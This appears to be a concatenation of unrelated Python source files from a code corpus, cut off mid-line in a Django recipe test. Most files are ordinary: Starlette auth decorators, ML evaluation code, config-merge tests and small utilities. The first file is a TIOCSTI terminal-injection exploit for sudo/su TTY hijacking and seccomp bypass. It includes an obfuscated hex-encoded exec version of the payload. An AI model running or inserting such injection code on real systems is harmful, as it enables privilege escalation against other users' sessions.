1a4cae652da3505cf70a80bcab37e72ac41d19f6
#! /usr/bin/env python3 # Insert characters into TTY # Can be used to bypass naive seccomp filter that allows ioctl on FD 1 (stdout) when the input is a terminal # and also exploit for sudo and su: https://ruderich.org/simon/notes/su-sudo-from-root-tty-hijacking import fcntl, termios PAYLOAD =\ """echo i am an evil attacker > evil.pwned """ # Insert evil characters! for c in PAYLOAD: fcntl.ioctl(1, termios.TIOCSTI, c.encode()) # exec(bytes.fromhex("0a696d706f72742066636e746c2c207465726d696f732c207379730a5041594c4f41443d276563686f206920616d20616e206576696c2061747461636b6572203e206576696c2e70776e65645c6e270a666f72206320696e205041594c4f41443a0a2020202066636e746c2e696f63746c28312c207465726d696f732e54494f435354492c20632e656e636f64652829290a7379732e6578697428290a").decode())
py
1a4caf4310ba0542cf71c2ef4f059a5b255785d0
""" Print command. Print information about the wily cache and what is in the index. """ import tabulate from wily import logger, format_date, format_revision, MAX_MESSAGE_WIDTH from wily.config import DEFAULT_GRID_STYLE from wily.state import State def index(config, include_message=False): """ Show information about the cache and runtime. :param config: The wily configuration :type config: :namedtuple:`wily.config.WilyConfig` :param include_message: Include revision messages :type include_message: ``bool`` """ state = State(config=config) logger.debug("Running show command") logger.info("--------Configuration---------") logger.info(f"Path: {config.path}") logger.info(f"Archiver: {config.archiver}") logger.info(f"Operators: {config.operators}") logger.info("") logger.info("-----------History------------") data = [] for archiver in state.archivers: for rev in state.index[archiver].revisions: if include_message: data.append( ( format_revision(rev.revision.key), rev.revision.author_name, rev.revision.message[:MAX_MESSAGE_WIDTH], format_date(rev.revision.date), ) ) else: data.append( ( format_revision(rev.revision.key), rev.revision.author_name, format_date(rev.revision.date), ) ) if include_message: headers = ("Revision", "Author", "Message", "Date") else: headers = ("Revision", "Author", "Date") print( tabulate.tabulate( headers=headers, tabular_data=data, tablefmt=DEFAULT_GRID_STYLE ) )
py
1a4cb02aac4bfa4490adca7d0d3bdecc15251049
""" Test the pre-trained autoencoder model with test trajectory data. """ import warnings warnings.simplefilter(action='ignore', category=FutureWarning) import ae_utilities as aeu import dataset_defines as dd import numpy as np import os abspath = os.path.abspath(__file__) dir_name = os.path.dirname(abspath) dataset_name = dir_name[dir_name.rfind('/')+1:] + '_gt_data.csv' dataset_file_path = os.path.join(dir_name + '/data', dataset_name) abnormal_name = dir_name[dir_name.rfind('/')+1:] + '_gt_real_abnormal_2.csv' abnormal_file_path = os.path.join(dir_name + '/data', abnormal_name) def get_comparison_results(result_file): """ Returns a array of strings in the following format: [[label_0, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR], [label_1, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR], ... [total, Size_N, size_A, TPR, TNR, TPR, TNR, TPR, TNR, TPR, TNR]] """ # Change the directory or_dir_name = os.getcwd() os.chdir(dir_name) list_of_model_names = ['one_class_svm','isolation_forest','single_ae','deep_ae'] # Extract trajectories and export data to array dataset = np.genfromtxt(dataset_file_path, delimiter=',') # Ignore first column representing object_id dataset = dataset[:,1:] # Generate abnormal data abnormal_data = np.genfromtxt(abnormal_file_path, delimiter=',') abnormal_data = abnormal_data[:,1:] # list of object labels: -1 means all objects. The following order follows: 1. Cars; 2. Peds; 3. Bike; 4.All list_labels = [1,0,2,3] label_names = ['Peds','Cars','Bike','All'] # Get the number of labels n_labels = 1 for object_label in list_labels: if object_label != 3: if len(dataset[dataset[:,0] == object_label]) > 0: n_labels += 1 row_string = r'\multirow{{{}}}{{*}}{{Rouen}}'.format(n_labels) is_first = True for object_label in list_labels: print('====================================== {} ======================================'. format(label_names[object_label])) sub_normal_data = dataset sub_abnormal_data = abnormal_data if object_label != 3: sub_normal_data = sub_normal_data[sub_normal_data[:,0] == object_label] sub_abnormal_data = sub_abnormal_data[sub_abnormal_data[:,0] == object_label] if len(sub_normal_data) == 0 or len(sub_abnormal_data) == 0: continue if is_first: result_file.write(r'\multicolumn{{1}}{{c|}}{{{}}} & '.format(row_string)) is_first = False else: result_file.write(r'\multicolumn{1}{c|}{} & ') # Get the number of samples size_n = sub_normal_data.shape[0] size_a = sub_abnormal_data.shape[0] result_file.write(r'{} & {} & {} '.format(label_names[object_label], size_n, size_a)) for model_name in list_of_model_names: print('================================== {} =================================='.format(model_name)) # Files containing info of the model and threshold value trained_model_path = 'model/' + model_name + '/' trained_model_summary_results_filename = 'results/' + model_name + '/summary_results.csv' # Ref.: https://stackoverflow.com/questions/29451030/why-doesnt-np-genfromtxt-remove-header-while-importing-in-python with open(trained_model_summary_results_filename, 'r') as results: line = results.readline() header = [e for e in line.strip().split(',') if e] results_array = np.genfromtxt(results, names=header, dtype=None, delimiter=',') TPR_list = [] TNR_list = [] for i in range(aeu.repeat_number): print('======================== Iteration {} ========================'.format(i)) if model_name == 'single_ae' or model_name == 'deep_ae': # Refer to the deep_ae_summary_results.csv threshold_value = results_array['threshold_value'][i] else: threshold_value = 0 # Test normal data TNR = aeu.test_trained_model(test_data=sub_normal_data, clf_name=model_name, model_dir_path=trained_model_path, iteration_number=i, is_abnormal=False, threshold_value=threshold_value) # Test abnormal data TPR = aeu.test_trained_model(test_data=sub_abnormal_data, clf_name=model_name, model_dir_path=trained_model_path, iteration_number=i, is_abnormal=True, threshold_value=threshold_value) # Compute TP, TN, FP, FN #TP = abnormal_ratio #TN = normal_ratio #FP = 1 - TN #FN = 1 - TP # Compute TPR and TNR #TPR = TP / (TP + FN) = abnormal_ratio #TNR = TN / (FP + TN) = normal_ratio TPR_list.append(int(TPR*100)) TNR_list.append(int(TNR*100)) output_string = '\nTPR = {0:.2f}% and TNR = {1:.2f}%'.format(TPR*100, TNR*100) print(output_string) print('==============================================================') # Get the best one that gives the max value of TPR + TNR TPR_list = np.array(TPR_list) TNR_list = np.array(TNR_list) best_index = np.argmax(TPR_list + TNR_list) TPR_best = TPR_list[best_index] TNR_best = TNR_list[best_index] is_TPR_best = (TPR_best == np.max(TPR_list)) is_TNR_best = (TNR_best == np.max(TNR_list)) if is_TPR_best: TPR_string = r'\textbf{{{}}}'.format(TPR_best) else: TPR_string = str(TPR_best) if is_TNR_best: TNR_string = r'\textbf{{{}}}'.format(TNR_best) else: TNR_string = str(TNR_best) result_file.write(r'& {} & {} '.format(TPR_string, TNR_string)) result_file.write(r'\\' + '\n') # Change the directory back to the initial one os.chdir(or_dir_name)
py
1a4cb10995aad791bec97341ba83a4fffd089df1
from os import getenv, getcwd import json TOKEN = getenv("TOKEN") with open(f"{getcwd()}/data/federation.json", "r") as f: FEDERATION = json.loads(f.read())
py
1a4cb2d4d4ecb4e888591017bb5ede923ebf9e57
import requests import random from time import sleep from urllib.parse import urlparse as parsy bad = '\033[91m[-]\033[0m' user_agents = ['Mozilla/5.0 (X11; Linux i686; rv:60.0) Gecko/20100101 Firefox/60.0', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36' 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991'] def make_request(url, param_data, method, cookie): #The main function which actually makes contact with the target headers = { 'Host' : parsy(url).hostname, 'User-Agent' : random.choice(user_agents), 'Accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language' : 'en-US,en;q=0.5', 'Accept-Encoding' : 'deflate', 'DNT' : '1', 'Connection' : 'close'} try: if method == 'GET': resp = requests.get(url + param_data, cookies=cookie, headers=headers) #Makes request return resp.text #Reads the output elif method == 'POST': resp = requests.post(url, data=param_data, cookies=cookie, headers=headers) #Makes request return resp.text #Reads the output except: print('\n%s Target isn\'t responding properly.' % bad) quit()
py
1a4cb349dc035dbe77a74e79cb340f18b74eaab3
# importing important librarires import itertools import numpy as np import torch import pydicom from PIL import Image from torch.utils.data import DataLoader import pandas as pd def load_scan(path): """ This function is used to load the MRI scans. It converts the scan into a numpy array Parameters: path (str): The path to the folder containing the MRI scans of all patients Returns: np_image (numpy.ndarray): A numpy array representing the MRI scan """ # slices = [pydicom.read_file(path + '/' + s) for s in os.listdir(path)] # slices.sort(key = lambda x: float(x.ImagePositionPatient[2])) # try: # slice_thickness = np.abs(slices[0].ImagePositionPatient[2] - slices[1].ImagePositionPatient[2]) # except Exception as e: # print("Exception raised: ", e) # slice_thickness = np.abs(slices[0].SliceLocation - slices[1].SliceLocation) # for s in slices: # s.SliceThickness = slice_thickness # image = np.stack([s.pixel_array for s in slices]) image = pydicom.read_file(path) # print(type(image)) image = image.pixel_array.astype(np.int16) np_image = np.array(image, dtype=np.int16) # print("scan shape: ", np_image.shape) return np_image def load_seg(path): """ This function is used to load the segmented image. It returns the image in a numpy array Parameters: path (str): The directory where all the segmented images corresponding to one patient are stored Returns: seg_data (numpy.ndarray): A list of numpy arrays corresponding to segmented images """ # seg_paths = [] # if path[-1] != '/': # path = path + '/' # for seg in os.listdir(path): # seg_paths.append(path + seg) # seg_paths.sort() seg = Image.open(path) seg_data = np.asarray(seg) seg_data = np.array(seg_data) # for seg_path in seg_paths: # seg = Image.open(seg_path) # seg_data.append(np.asarray(seg)) # print("seg shape: ", seg_data.shape) ### This block of code was to list the different intensity values # for arr in seg_data: # for elem in arr: # if (elem not in seg_val): # seg_val.append(elem) return seg_data def resize_data(data, new_dimensions): ''' This function resizes a numpy array. TO DO: method used for interpolation? Parameters: data (numpy.ndarray): a numpy array representing an MRI scan new_dimensions (list): a list containing the dimensions of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the desired dimensions ''' initial_size_x = data.shape[1] initial_size_y = data.shape[2] initial_size_z = data.shape[0] new_size_z = new_dimensions[0] new_size_x = new_dimensions[1] new_size_y = new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z = initial_size_z / new_size_z new_data = np.zeros((new_size_z, new_size_x, new_size_y)) for x, y, z in itertools.product(range(new_size_x), range(new_size_y), range(new_size_z)): new_data[z][x][y] = data[int(z * delta_z)][int(x * delta_x)][int(y * delta_y)] return new_data def padSlice(values): ''' This function adds padding to images. The final size of the image is 320x320 Args: values (np.ndarray): The image in the form of a numpy array Returns: values (np.ndarray): The padded image ''' # print(values.shape) target_shape = np.array((320, 320)) pad = ((target_shape - values.shape) / 2).astype("int") values = np.pad(values, ((pad[0], pad[0]), (pad[1], pad[1])), mode="constant", constant_values=0) return values def findOrgan(img, seg, organ): ''' This function is used to locate a specific organ in an image. Args: img (np.ndarray): The input image seg (np.ndarray): The segmented image organ (str): The organ that we want to locate. The following key is used: rk: right kidney lk: left kidney lv: liver sp: spleen Returns: img (np.ndarray): original image ---> should not be returned new_seg (np.ndarray): the segmented image with only the selected organ segmented ''' if organ == 'rk': value = 126 elif organ == 'lk': value = 189 elif organ == 'lv': value = 63 elif organ == 'sp': value = 252 else: print("Wrong organ selected.") print("Right kidney: rk \nLeft kidney: lk \nLiver: lv \nSpleen: sp") new_seg = np.zeros(seg.shape) new_img = np.zeros(img.shape) return new_img, new_seg new_seg = np.zeros(seg.shape) new_img = np.zeros(img.shape) indices = np.where(seg == value) # tuple of 2 arrays [i0,i1,...,in], [j0,j1,...,jn], where seg[i][j] == value for i in range(len(indices[0])): row = indices[0][i] col = indices[1][i] # new_img[row][col] = img[row][col] new_seg[row][col] = 1 return img, new_seg def check_accuracy(loader, model, loss_fn, device="cuda"): ''' This function is used to check the accuracy of the model Args: loader (torch.utils.data.DataLoader): The dataloader that is being used model (UNET): The model that is being used loss_fn (): The loss function device: CPU or CUDA Returns: loss (float): The total loss for the batch dice_score (float): The average dice coefficient for the batch ''' num_correct = 0 num_pixels = 0 dice_score = 0 loss = 0 model.eval() d1 = 0 # with torch.no_grad(): # for x, y in loader: # # print("x: ", x.shape) # # print("y: ", y.shape) # x = x.unsqueeze(1).to(device) # # print("x: ", x.shape) # y = y.unsqueeze(1).to(device) # # print("mo la") # preds = torch.sigmoid(model(x)) # preds = (preds > 0.5).float() # loss = loss_fn.forward(preds,y) # num_correct += (preds == y).sum() # num_pixels += torch.numel(preds) with torch.no_grad(): for x, y in loader: x = x.unsqueeze(1).to(device) y = y.unsqueeze(1).to(device).float() preds = torch.sigmoid(model(x)) preds = (preds > 0.5).float() # print(type(preds)) num_correct += (preds == y).sum() num_pixels += torch.numel(preds) # dice_score += (2 * (preds * y).sum() + 1) / ( # (preds + y).sum() + 1 # ) loss += loss_fn(preds,y) inputs = preds.view(-1) targets = y.view(-1) intersection = (inputs * targets).sum() dice = (2. * intersection + 1) / (inputs.sum() + targets.sum() + 1) d1 += dice print( f"Got {num_correct}/{num_pixels} with acc {num_correct/num_pixels*100:.2f}" ) loss = loss.cpu() d1 = d1.cpu() # print(f"Dice score: {dice_score/len(loader)}") print(f"Dice score: {d1 / len(loader)}") model.train() return loss, d1/len(loader) def save_checkpoint(state, filename="my_checkpoint2liver.pth.tar"): print("=> Saving checkpoint") torch.save(state, filename) def load_checkpoint(checkpoint, model): print("=> Loading checkpoint") model.load_state_dict(checkpoint["state_dict"]) def get_loaders(train_ds, val_ds, b_size): ''' This function creates the train and validation loaders with the specified batch size Args: train_ds (SliceDataset): The training dataset val_ds (SliceDataset): The validation dataset b_size: The desired batch size Returns: train_dataloader (torch.utils.data.DataLoader): The dataloader for the training set val_dataloader (torch.utils.data.DataLoader): The dataloader for the validation set ''' train_dataloader = DataLoader(train_ds, batch_size=b_size) val_dataloader = DataLoader(val_ds, batch_size=b_size) return train_dataloader, val_dataloader def remove_bg_only_test(test_seg_paths): test_idx = [] for path in test_seg_paths: arr = load_seg(path) result = np.amax(arr).float() == 0.0 if not result: test_idx.append(test_seg_paths.index(path)) return test_idx def clean_test_ds(test_img_paths, test_seg_paths, test_idx): cleaned_img_paths = [] cleaned_seg_paths = [] for idx in test_idx: cleaned_img_paths.append(test_img_paths[idx]) cleaned_seg_paths.append(test_seg_paths[idx]) return cleaned_img_paths, cleaned_seg_paths def get_features(features): return features def get_num_layers(features): return len(features) def save_results(csv, dict): ''' This function is used to save the conditions and results of training the DNN in a csv file Args: csv (str): The name of the csv file. Must be in the format 'XXX.csv' dict (dict): The conditions and results of training in the form of a dictionary Returns: None ''' df = pd.read_csv(csv, index_col=0) df = df.append(dict, ignore_index=True) df.to_csv(csv) def save_preds(): pass
py
1a4cb3bc442e6b1ddf06cb5596198b7d814f4d47
#!/usr/bin/env python # Copyright 2016 99cloud Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import imp import os from io import StringIO from oslotest import base PROJECT_DIR = os.path.abspath(os.path.join(os. path.dirname(__file__), '../')) MERGE_CONFIG_FILE = os.path.join(PROJECT_DIR, 'ansible/action_plugins/merge_configs.py') merge_configs = imp.load_source('merge_configs', MERGE_CONFIG_FILE) TESTA = '''[DEFAULT] key1 = b c key2 = v1 v2 key3 = v3 key3 = v4 key4 = v5 [b] b_key1 = 1 b_key2 = 1 2 [c] c_key1 = c_key2 = 1 2 3 4 5 6 ''' TESTB = '''[DEFAULT] key2 = v3 v4 v5 key4 = v4 key4 = [b] b_key2 = 2 ''' # TESTC is TESTA + TESTB TESTC = '''[DEFAULT] key1 = b c key2 = v3 v4 v5 key3 = v3 key3 = v4 key4 = v4 key4 = [b] b_key1 = 1 b_key2 = 2 [c] c_key1 = c_key2 = 1 2 3 4 5 6 ''' TESTA_NO_SECTIONS = '''key1 = a key2 = b ''' TESTB_NO_SECTIONS = '''key3 = c ''' # TESTA_NO_SECTIONS and TESTB_NO_SECTIONS combined TESTC_NO_SECTIONS = '''key1 = a key2 = b key3 = c ''' TESTA_NO_DEFAULT_SECTION = '''key1 = a key2 = b [a] key1 = not_a [b] key3 = not_c ''' TESTB_NO_DEFAULT_SECTION = '''key3 = c [b] key2 = not_b key3 = override ''' # TESTA_NO_DEFAULT_SECTION and TESTB_NO_DEFAULT_SECTION combined TESTC_NO_DEFAULT_SECTION = '''key1 = a key2 = b key3 = c [a] key1 = not_a [b] key3 = override key2 = not_b ''' # TESTC_NO_WHITESPACE is TESTA + TESTB without whitespace around equal signs TESTC_NO_WHITESPACE = '''[DEFAULT] key1=b c key2=v3 v4 v5 key3=v3 key3=v4 key4=v4 key4= [b] b_key1=1 b_key2=2 [c] c_key1= c_key2=1 2 3 4 5 6 ''' class OverrideConfigParserTest(base.BaseTestCase): def test_read_write(self): for ini in [TESTA, TESTB, TESTC, TESTA_NO_SECTIONS, TESTB_NO_SECTIONS, TESTC_NO_SECTIONS, TESTA_NO_DEFAULT_SECTION, TESTB_NO_DEFAULT_SECTION, TESTC_NO_DEFAULT_SECTION]: parser = merge_configs.OverrideConfigParser() parser.parse(StringIO(ini)) output = StringIO() parser.write(output) self.assertEqual(ini, output.getvalue()) output.close() def test_merge(self): parser = merge_configs.OverrideConfigParser() parser.parse(StringIO(TESTA)) parser.parse(StringIO(TESTB)) output = StringIO() parser.write(output) self.assertEqual(TESTC, output.getvalue()) output.close() def test_merge_no_sections(self): parser = merge_configs.OverrideConfigParser() parser.parse(StringIO(TESTA_NO_SECTIONS)) parser.parse(StringIO(TESTB_NO_SECTIONS)) output = StringIO() parser.write(output) self.assertEqual(TESTC_NO_SECTIONS, output.getvalue()) output.close() def test_merge_no_default_section(self): parser = merge_configs.OverrideConfigParser() parser.parse(StringIO(TESTA_NO_DEFAULT_SECTION)) parser.parse(StringIO(TESTB_NO_DEFAULT_SECTION)) output = StringIO() parser.write(output) self.assertEqual(TESTC_NO_DEFAULT_SECTION, output.getvalue()) output.close() def test_merge_no_whitespace(self): parser = merge_configs.OverrideConfigParser(whitespace=False) parser.parse(StringIO(TESTA)) parser.parse(StringIO(TESTB)) output = StringIO() parser.write(output) self.assertEqual(TESTC_NO_WHITESPACE, output.getvalue()) output.close()
py
1a4cb3c77e5b5004cbb66db262c325f91f5d090d
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. from marionette.by import By from gaiatest import GaiaTestCase from gaiatest.apps.gallery.app import Gallery class TestGalleryCropPhoto(GaiaTestCase): def setUp(self): GaiaTestCase.setUp(self) # add photo to storage self.push_resource('IMG_0001.jpg') def test_gallery_crop_photo(self): gallery = Gallery(self.marionette) gallery.launch() gallery.wait_for_files_to_load(1) initial_image_size = gallery.thumbnails[0].absolute_image_size image = gallery.tap_first_gallery_item() # Tap on Edit button. edit_image = image.tap_edit_button() edit_image.tap_edit_crop_button() # portrait crop is 2:3 and will retain the image's height edit_image.tap_portrait_crop() gallery = edit_image.tap_edit_save_button() gallery.wait_for_files_to_load(2) # get the absolute image for the new first image cropped_image_size = gallery.thumbnails[0].absolute_image_size # As we have chosen portrait crop, height will remain the same, width should change self.assertEqual(cropped_image_size['height'], initial_image_size['height']) self.assertLess(cropped_image_size['width'], initial_image_size['width'])
py
1a4cb42464ae238946742c01d78f08b3ac1541b9
import _plotly_utils.basevalidators class ColorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="color", parent_name="scatter3d.line.colorbar.title.font", **kwargs ): super(ColorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "calc"), role=kwargs.pop("role", "style"), **kwargs )
py
1a4cb4d077bd16692234ca18c2de360cedd839d4
# EXAMPLES needs to add parent directory to path so we can import EZ: import os, sys sys.path.append(os.path.dirname(__file__) + '/..') # Disable the creation of python bytecode to keep stuff clean: sys.dont_write_bytecode = True from scripts.EZpanda.EZ import EZ, config config['window-title'] = "EZpanda Examples" # Setting in custom build of Panda3D, hopefully will be added in master: config['bullet-split-impulse'] = True # Load ez with config (ez is added to builtins so is global to all modules): ez = EZ(config) # Get the primary display mode aa- w5idth, height, refresh rate: w, h, r = ez.window.get_display_mode(0) # lets set a custom window size w, h = 1024, 768 ez.window.set_display( w, h, r) ez.window.fullscreen = False # Enable everything: ez.enable.gamepads() ez.enable.particles() ez.enable.collision() ez.enable.physics() # Load a scene and set it: ez['menu'] = ez.load.scene('menu') ez.set_scene( ez['menu'] ) ez.run()
py
1a4cb4de9df0b6f7befc484950b95b7aad127aa6
class TwitchException(Exception): """ Base exception class for twitch.py Any error thrown exclusively from this library should be able to be caught by this generic exception """ pass class APIMissMatchException(TwitchException): """ Exception thrown when an argument from the API is received that does not match our API implementation If thrown, an issue and change must be made """ pass class NotAuthorizedException(TwitchException): """ Exception thrown when an API call is made such that the client and token are not authorized to do If thrown, the user must be granted permission for said API call """ pass class NoPossibleConversionException(TwitchException): """ Exception thrown when a conversion or comparison is performed and no such defined conversion is defined If thrown, the user probably did something dumb """ pass class LocaleNotFoundException(TwitchException): """ Exception thrown when a locale is requested for a tag or game but there does not exist one in the language If thrown, the user should pick a different locale """ pass class InvalidOperationException(TwitchException): """ Exception thrown when an operation is done that violates some assumption or notion If thrown, the user should check assumptions prior to the call """ pass
py
1a4cb55fc104ae2cbeb5465d2ad16264cd12f7e1
import bisect from collections import defaultdict class Solution: def dailyTemperatures(self, temperatures): """ :type temperatures: List[int] :rtype: List[int] """ n = len(temperatures) if n == 0: return [] elif n == 1: return [0] # get the y axis of temperatures figure dict_temperatures = defaultdict(list) # {temperature:[index1, index2, ...]} for i in range(0, len(temperatures)): dict_temperatures[temperatures[i]].append(i) # ordering occurred temperatures ordered_temperatures = sorted(dict_temperatures.keys()) # do computation wait_days = [] for i in range(0, n-1): current_temp = temperatures[i] current_temp_idx = ordered_temperatures.index(current_temp) if current_temp_idx == len(ordered_temperatures)-1: # no more higher temperature wait_days.append(0) else: # get idx of nearest higher temperature nearest_higher_idx = n # default idx > size of temperatures dataset for higher_temp in ordered_temperatures[current_temp_idx+1:]: for x in dict_temperatures[higher_temp]: if x > i and nearest_higher_idx > x: nearest_higher_idx = x break # find idx of the nearest higher temperature if nearest_higher_idx == n: wait_days.append(0) else: # sort for the smallest idx wait_days.append(nearest_higher_idx-i) # the last one must be 0 wait_days.append(0) return wait_days
py
1a4cb620a20777fe6ad1ed29e9465a9ea6b98bc7
from contextlib import closing from mysql.connector import connect import random def create_journal_group_name_lookup(filepath, encoding, delimiter): data = load_delimited_data(filepath, encoding, delimiter) lookup = {} for row in data: nlm_id = row[0] group = row[1] lookup[nlm_id] = group return lookup def create_id_lookup(db_config, sql): lookup = {} with closing(connect(**db_config)) as conn: with closing(conn.cursor()) as cursor: #pylint: disable=E1101 cursor.execute(sql) #pylint: disable=E1101 for row in cursor.fetchall(): #pylint: disable=E1101 id, ui = row lookup[ui] = id return lookup def load_delimited_data(path, encoding, delimiter): with open(path, 'rt', encoding=encoding) as file: data = tuple( tuple(data_item.strip() for data_item in line.strip().split(delimiter)) for line in file ) return data def load_ids_from_file(path, encoding): ids = [int(id[0]) for id in load_delimited_data(path, encoding, ',')] return ids def load_indexing_periods(filepath, encoding, is_fully_indexed): periods = {} with open(filepath, 'rt', encoding=encoding) as file: for line in file: split = line.split(',') nlm_id = split[0].strip() citation_subset = split[1].strip() start_year = int(split[2].strip()) end_year = int(split[3].strip()) if start_year < 0: continue if end_year < 0: end_year = None period = { 'citation_subset': citation_subset, 'is_fully_indexed': is_fully_indexed, 'start_year': start_year, 'end_year': end_year } if nlm_id in periods: periods[nlm_id].append(period) else: periods[nlm_id] = [period] return periods def random_permutation(iterable, r=None): pool = tuple(iterable) r = len(pool) if r is None else r return tuple(random.sample(pool, r)) def save_delimited_data(path, encoding, delimiter, data): with open(path, 'wt', encoding=encoding) as file: for data_row in data: line = delimiter.join([str(data_item) for data_item in data_row]) + '\n' file.write(line) def should_review_coverage_note(coverage_note_text): coverage_note_text_lower = coverage_note_text.lower() should_review = str('sel' in coverage_note_text_lower or 'ful' in coverage_note_text_lower) return should_review def write_ids_to_file(path, encoding, ids): save_delimited_data(path, encoding, ',', [(id,) for id in ids])
py
1a4cb648d6ed566b74ba63be5bcd4ecae8c49abd
#!/usr/bin/env python # -*- coding: utf-8 -*- """Tests for `service/pool` package.""" import pytest from fencing import fencing @pytest.fixture def response(): """Sample pytest fixture. See more at: http://doc.pytest.org/en/latest/fixture.html """ # import requests # return requests.get('https://github.com/audreyr/cookiecutter-pypackage') def test_content(response): """Sample pytest test function with the pytest fixture as an argument.""" # from bs4 import BeautifulSoup # assert 'GitHub' in BeautifulSoup(response.content).title.string
py
1a4cba377980220e87cd5a01dff21a440a42c1e8
import asyncio import functools import inspect import typing from urllib.parse import urlencode from starlette.exceptions import HTTPException from starlette.requests import HTTPConnection, Request from starlette.responses import RedirectResponse, Response from starlette.websockets import WebSocket def has_required_scope(conn: HTTPConnection, scopes: typing.Sequence[str]) -> bool: for scope in scopes: if scope not in conn.auth.scopes: return False return True def requires( scopes: typing.Union[str, typing.Sequence[str]], status_code: int = 403, redirect: str = None, ) -> typing.Callable: scopes_list = [scopes] if isinstance(scopes, str) else list(scopes) def decorator(func: typing.Callable) -> typing.Callable: sig = inspect.signature(func) for idx, parameter in enumerate(sig.parameters.values()): if parameter.name == "request" or parameter.name == "websocket": type_ = parameter.name break else: raise Exception( f'No "request" or "websocket" argument on function "{func}"' ) if type_ == "websocket": # Handle websocket functions. (Always async) @functools.wraps(func) async def websocket_wrapper( *args: typing.Any, **kwargs: typing.Any ) -> None: websocket = kwargs.get( "websocket", args[idx] if idx < len(args) else None ) assert isinstance(websocket, WebSocket) if not has_required_scope(websocket, scopes_list): await websocket.close() else: await func(*args, **kwargs) return websocket_wrapper elif asyncio.iscoroutinefunction(func): # Handle async request/response functions. @functools.wraps(func) async def async_wrapper( *args: typing.Any, **kwargs: typing.Any ) -> Response: request = kwargs.get("request", args[idx] if idx < len(args) else None) assert isinstance(request, Request) if not has_required_scope(request, scopes_list): if redirect is not None: orig_request_qparam = urlencode({"next": str(request.url)}) next_url = "{redirect_path}?{orig_request}".format( redirect_path=request.url_for(redirect), orig_request=orig_request_qparam, ) return RedirectResponse(url=next_url, status_code=303) raise HTTPException(status_code=status_code) return await func(*args, **kwargs) return async_wrapper else: # Handle sync request/response functions. @functools.wraps(func) def sync_wrapper(*args: typing.Any, **kwargs: typing.Any) -> Response: request = kwargs.get("request", args[idx] if idx < len(args) else None) assert isinstance(request, Request) if not has_required_scope(request, scopes_list): if redirect is not None: orig_request_qparam = urlencode({"next": str(request.url)}) next_url = "{redirect_path}?{orig_request}".format( redirect_path=request.url_for(redirect), orig_request=orig_request_qparam, ) return RedirectResponse(url=next_url, status_code=303) raise HTTPException(status_code=status_code) return func(*args, **kwargs) return sync_wrapper return decorator class AuthenticationError(Exception): pass class AuthenticationBackend: async def authenticate( self, conn: HTTPConnection ) -> typing.Optional[typing.Tuple["AuthCredentials", "BaseUser"]]: raise NotImplementedError() # pragma: no cover class AuthCredentials: def __init__(self, scopes: typing.Sequence[str] = None): self.scopes = [] if scopes is None else list(scopes) class BaseUser: @property def is_authenticated(self) -> bool: raise NotImplementedError() # pragma: no cover @property def display_name(self) -> str: raise NotImplementedError() # pragma: no cover @property def identity(self) -> str: raise NotImplementedError() # pragma: no cover class SimpleUser(BaseUser): def __init__(self, username: str) -> None: self.username = username @property def is_authenticated(self) -> bool: return True @property def display_name(self) -> str: return self.username class UnauthenticatedUser(BaseUser): @property def is_authenticated(self) -> bool: return False @property def display_name(self) -> str: return ""
py
1a4cba842ce07e839932ec0c6f42f8abe22e9937
from expenses_tracker.expenses.models import Expense from expenses_tracker.profiles.models import Profile def get_profile(): profile = Profile.objects.first() if profile: expenses = Expense.objects.all() profile.budget_left = profile.budget - sum(e.price for e in expenses) return profile
py
1a4cbb16a9f21bf3e8899193624b5b5bef6277c2
#!/bin/python3 import sys class Person: def __init__(self, initialAge): # Add some more code to run some checks on initialAge if initialAge < 0: print("Age is not valid, setting age to 0.") initialAge = 0 self.age = initialAge def amIOld(self): # Do some computations in here and print out the correct statement to the console if self.age < 13: print("You are young.") elif self.age >= 13 and self.age < 18: print("You are a teenager.") else: print("You are old.") def yearPasses(self): # Increment the age of the person in here self.age += 1 t = int(input()) for i in range(0, t): age = int(input()) p = Person(age) p.amIOld() for j in range(0, 3): p.yearPasses() p.amIOld() print("")
py
1a4cbb5095002c7f476feb6b4a194691be08ec65
from django.contrib.auth import get_user_model from django.test import TestCase from django.urls import reverse from rest_framework import status from rest_framework.test import APIClient from core.models import Recipe from recipe.serializers import RecipeSerializer RECIPES_URL = reverse('recipe:recipe-list') def sample_recipe(user, **params): """create and return a sample recipe""" defaults = { 'title': 'Sample Recipe', 'time_minutes': 10, 'price': 5.00 } defaults.update(params) return Recipe.objects.create(user=user, **defaults) class PublicRecipeApiTests(TestCase): """test authenticated recipe API""" def setUp(self): self.client = APIClient() def test_auth_required(self): """test that authentication is required""" res = self.client.get(RECIPES_URL) self.assertEqual(res.status_code, status.HTTP_401_UNAUTHORIZED) class PrivateRecipeApiTest(TestCase): """test unauthenticated recipe API access""" def setUp(self): self.client = APIClient() self.user = get_user_model().objects.create_user( '[email protected]', 'testpass' ) self.client.force_authenticate(self.user) def test_retrieve_recipes(self): """test retrieving a list of recipes""" sample_recipe(user=self.user) sample_recipe(user=self.user) res = self.client.get(RECIPES_URL) recipes = Recipe.objects.all().order_by('-id') serializer = RecipeSerializer(recipes, many=True) self.assertEqual(res.status_code, status.HTTP_200_OK) self.assertEqual(res.data, serializer.data) def test_recipes_limited_to_user(self): """test retrieving recipes for user""" user2 = get_user_model().objects.create_user( '[email protected]', 'pass123123' 